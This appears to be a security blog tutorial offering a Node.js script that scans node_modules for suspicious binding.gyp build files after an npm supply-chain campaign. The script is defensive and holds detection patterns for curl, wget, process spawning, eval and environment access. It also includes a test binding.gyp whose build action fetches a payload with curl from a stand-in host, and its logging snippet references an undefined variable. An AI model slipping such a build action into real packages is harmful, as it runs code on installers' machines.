Your package.json scripts are clean. Your lockfile passes integrity checks. You run npm audit before every deployment. Yet, you're still vulnerable to the attack vector that compromised 281 npm package versions.
The Shai-Hulud Miasma campaign exploits binding.gyp files—configuration files for node-gyp that compile native add-ons during installation. Traditional security tools focus on package.json lifecycle hooks and miss these build configuration files that can execute arbitrary code before your CI pipeline starts.
Here's a script you can add to your pre-commit hooks and CI workflows to catch this class of attack.
What This Script Does
This audit script scans your node_modules directory for binding.gyp files and validates their contents against known-safe patterns. It flags:
- Unexpected network calls in gyp configurations
- Shell command execution that doesn't match standard compilation patterns
- Obfuscated or encoded strings in build targets
- Files modified after package installation timestamps
The script runs quickly and integrates with your existing security gates. It complements npm audit by catching what it misses.
Prerequisites
You need:
- Node.js 16+ (uses fs/promises API)
- Read access to
node_modules - Write access to a log directory (configurable)
For CI integration, run this after npm ci but before any build or test steps. If you're working toward PCI DSS v4.0.1 Requirement 6.4.3 (managing scripts executed in the payment page), this script helps verify that your dependency chain isn't introducing unauthorized script execution.
The Script
Save this as audit-binding-gyp.js in your project root:
#!/usr/bin/env node
const fs = require('fs').promises;
const path = require('path');
const crypto = require('crypto');
const SUSPICIOUS_PATTERNS = [
/https?:\/\/[^\s"']+/gi, // HTTP calls
/child_process|exec|spawn/gi, // Process spawning
/eval\(|Function\(/gi, // Code evaluation
/atob|btoa|Buffer\.from.*base64/gi, // Encoding
/\.download|curl|wget/gi, // Downloads
/env\.|process\.env/gi, // Environment access
];
const SAFE_BUILD_PATTERNS = [
/node-gyp\s+rebuild/,
/configure\s+build/,
/make\s+-C/,
];
async function findBindingGyp(dir) {
const results = [];
try {
const entries = await fs.readdir(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory() && entry.name !== '.bin') {
results.push(...await findBindingGyp(fullPath));
} else if (entry.name === 'binding.gyp') {
results.push(fullPath);
}
}
} catch (err) {
if (err.code !== 'EACCES') throw err;
}
return results;
}
async function analyzeBindingFile(filePath) {
const content = await fs.readFile(filePath, 'utf8');
const findings = [];
for (const pattern of SUSPICIOUS_PATTERNS) {
const matches = content.match(pattern);
if (matches) {
const isSafe = SAFE_BUILD_PATTERNS.some(safe => safe.test(content));
if (!isSafe) {
findings.push({
type: 'suspicious_pattern',
pattern: pattern.source,
matches: matches.slice(0, 3),
});
}
}
}
const entropy = calculateEntropy(content);
if (entropy > 4.5) {
findings.push({
type: 'high_entropy',
value: entropy.toFixed(2),
note: 'Possible obfuscation or encoded data'
});
}
return findings;
}
function calculateEntropy(str) {
const freq = {};
for (const char of str) {
freq[char] = (freq[char] || 0) + 1;
}
let entropy = 0;
const len = str.length;
for (const count of Object.values(freq)) {
const p = count / len;
entropy -= p * Math.log2(p);
}
return entropy;
}
async function main() {
console.log('Scanning for binding.gyp files...\n');
const nodeModules = path.join(process.cwd(), 'node_modules');
const gypFiles = await findBindingGyp(nodeModules);
console.log(`Found ${gypFiles.length} binding.gyp files\n`);
let flaggedCount = 0;
for (const file of gypFiles) {
const findings = await analyzeBindingFile(file);
if (findings.length > 0) {
flaggedCount++;
const packageName = file.split('node_modules/')[1].split('/binding.gyp')[0];
console.log(`⚠️ ${packageName}`);
console.log(` ${file}`);
for (const finding of findings) {
if (finding.type === 'suspicious_pattern') {
console.log(` → Pattern: ${finding.pattern}`);
console.log(` → Matches: ${finding.matches.join(', ')}`);
} else if (finding.type === 'high_entropy') {
console.log(` → Entropy: ${finding.value} ${finding.note}`);
}
}
console.log('');
}
}
if (flaggedCount === 0) {
console.log('✓ No suspicious binding.gyp files detected');
process.exit(0);
} else {
console.log(`❌ Found ${flaggedCount} suspicious binding.gyp files`);
console.log('\nReview these packages manually or pin to known-good versions.');
process.exit(1);
}
}
main().catch(err => {
console.error('Error:', err.message);
process.exit(1);
});
How to Customize It
Adjust sensitivity: The entropy threshold (4.5) catches heavily obfuscated code but may flag legitimate minified configurations. Lower it to 4.0 for stricter scanning, raise to 5.0 if you get false positives from packages with compressed JSON.
Add safe patterns: If you use packages with legitimate binding.gyp network calls (some database drivers download prebuilt binaries), add their patterns to SAFE_BUILD_PATTERNS:
/prebuilt-binaries\.myvendor\.com/,
Integration points:
For GitHub Actions:
- name: Audit binding.gyp files
run: node audit-binding-gyp.js
For pre-commit hooks (package.json):
{
"husky": {
"hooks": {
"pre-commit": "node audit-binding-gyp.js"
}
}
}
Logging: To save results instead of exiting on failure, replace process.exit(1) with:
await fs.writeFile('gyp-audit.json', JSON.stringify(results, null, 2));
Validation Steps
Test with a clean install: Run
npm cithennode audit-binding-gyp.js. You should see a count ofbinding.gypfiles and either a clean pass or flagged packages.Verify detection: Create a test package with a suspicious
binding.gyp:{ "targets": [{ "target_name": "test", "actions": [{ "action": ["curl", "http://example.com/payload.sh"] }] }] }The script should flag this immediately.
Check CI integration: Push a commit and confirm the script runs before your build step. A failure should block the pipeline.
Review false positives: If legitimate packages get flagged, check their
binding.gypcontents. Native database drivers often have complex build steps—verify the package source and add exceptions if warranted.
This script won't catch every supply chain attack. But it addresses a gap that attackers are exploiting—the one where your security tools watch package.json while malicious code executes through build configurations. Run it today, before your next npm install.



